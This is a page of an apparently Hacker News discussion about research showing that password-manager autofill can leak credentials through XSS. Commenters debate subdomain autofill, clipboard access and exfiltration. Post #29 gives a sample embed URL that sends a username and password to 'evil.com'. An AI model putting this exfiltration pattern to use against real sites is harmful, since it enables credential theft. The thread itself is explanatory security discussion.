Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Autofill in password managers can allow login credentials to be stolen

marektoth.com

Post reply on HN
Print view View original

21–30 of 144 posts

Re: Autofill in password managers can allow login credentials to be stolen

#21

Post by purplecats »

blockarchitech wrote: post #2

I like password managers. It keeps people from writing them down on your desk or a notepad, so I'm all for it. I hate autofill. Any form of autofill, automated, user request, any of it. I would like people to just use a small button to open a 'mini instance' of the password manager, like an instant app (or app clips for iphones), and copy your password that way. Autofill is also a huge security risk, excluding if the…

really comes at the cost of convenience i just don't care thatttt much. for accounts that my real monies are in, i just dont keep them in account managers

Re: Autofill in password managers can allow login credentials to be stolen

#22

Post by rvz »

ishtanbul wrote: post #14

Bitwarden uses manual autofill which is nice. You hit ctrl shift L to fill

Well it still recognises to autofill in the password on a different subdomain as shown in the PoC by default, which is not good at all.

To Downvoters: So in the PoC [0] with the default settings the author is completely wrong about their findings? even if you 'manually' autofill in the fields?

So you are saying that the password DOESN'T get extracted out of Bitwarden from a different subdomain than where the login data was stored on by default then?

[0] https://marektoth.com/blog/password-managers-autofill/

Re: Autofill in password managers can allow login credentials to be stolen

#24

Post by emodendroket »

itsananderson wrote: post #19
emodendroket wrote: post #10

Earlier quoted context omitted.

If the attacker has access to your device, you're going to be severely compromised no matter what you do. Why pretend otherwise?

True, if an attacker has control of your device you are probably screwed anyway, but there are still different degrees of screwed. There are more and less privileged portions of your system, and keeping sensitive data to less secure areas is still not a great idea. With browsers offering clipboard access as a JavaScript API, it is definitely an area I would consider less well secured than, say, read protected memory…

Fair point, but I don't think you can _read_ the contents of the system clipboard, can you? I thought you could set it but had to wait for a paste event to read it.

Re: Autofill in password managers can allow login credentials to be stolen

#25

Post by emodendroket »

nhumrich wrote: post #17
emodendroket wrote: post #11

Perhaps I'm slow. But if someone's discovered an XSS vulnerability for the site you're on, can't they just as well steal your password when you type it in?

Except, if there is XSS, its usually in user submitted data, like a post. You wouldn't type in your password on a user post or alert box. And the login page is usually on a different page altogether, by itself.

I disagree about "usually." I would say it is very common now for the login controls to be in the sidebar and visible wherever. Not to mention how many things you would care about compromising are single-page apps or at least very rich apps that might just use a popover.

Re: Autofill in password managers can allow login credentials to be stolen

#26

Post by emodendroket »

blockarchitech wrote: post #15
emodendroket wrote: post #10

Earlier quoted context omitted.

If the attacker has access to your device, you're going to be severely compromised no matter what you do. Why pretend otherwise?

Both of you're statements are valid. If an attacker has access to your device you are *severely* compromised and you can't do much. I am going off the idea that your password manager clears your clipboard history however, but this is a valid and true statement. The thing is: nothing will be 100% secure. Ever. But if we evolve our security at the same rate loopholes, etc are being found, we can prevent data breaches,…

I guess my feeling is that doing something like this when your machine is already compromised is a little like putting your key under the welcome mat instead of leaving it plainly visible. Perhaps for the very incurious attacker they won't get around it but it's not much effort to find.

Re: Autofill in password managers can allow login credentials to be stolen

#27

Post by jefftk »

TedDoesntTalk wrote: post #23

I don’t see the vulnerability. His demo collects credentials then displays them ... all on the same domain websecurity.dev So what? What am I missing? How will he exfiltrate the data? With JS that posts it to another domain?

If the attacker has XSS and gets the password, exfiltration is the easy part. JS offers many options, starting with fetch.

Re: Autofill in password managers can allow login credentials to be stolen

#28

Post by jefftk »

mjthompson wrote: post #6

Good advice. Ever since Tavis Ormandy set his sights on password managers, I have been a very sceptical user. I still use 1Password, but without the browser extension. Putting autofill aside, there's a couple of other concerns I have. I am hesitant about recommending a password manager to the tech illiterate simply because one piece of malware could compromise the entire vault. In that respect, a sticky note is argua…

A sticky note doesn't protect against phishing, though, which is a much more likely risk for most users.

Re: Autofill in password managers can allow login credentials to be stolen

#29

Post by Sebb767 »

TedDoesntTalk wrote: post #23

I don’t see the vulnerability. His demo collects credentials then displays them ... all on the same domain websecurity.dev So what? What am I missing? How will he exfiltrate the data? With JS that posts it to another domain?

> How will he exfiltrate the data? With JS that posts it to another domain?

Exactly. Alternatively, you can also use embeds, for example `https://evil.com/$user/$password" >`.

If you have your code running and the credentials, exfiltration is no longer a problem.

Re: Autofill in password managers can allow login credentials to be stolen

#30

Post by partido3619463 »

emodendroket wrote: post #24
itsananderson wrote: post #19

Earlier quoted context omitted.

True, if an attacker has control of your device you are probably screwed anyway, but there are still different degrees of screwed. There are more and less privileged portions of your system, and keeping sensitive data to less secure areas is still not a great idea. With browsers offering clipboard access as a JavaScript API, it is definitely an area I would consider less well secured than, say, read protected memory…

Fair point, but I don't think you can _read_ the contents of the system clipboard, can you? I thought you could set it but had to wait for a paste event to read it.

On iOS and Mac the clipboard is readable to all apps without interaction. (Eg slack allows login on Mac desktop by copy/pasting text from the browser. Chrome on iOS will auto paste from clipboard to show a target url)
Post reply on HN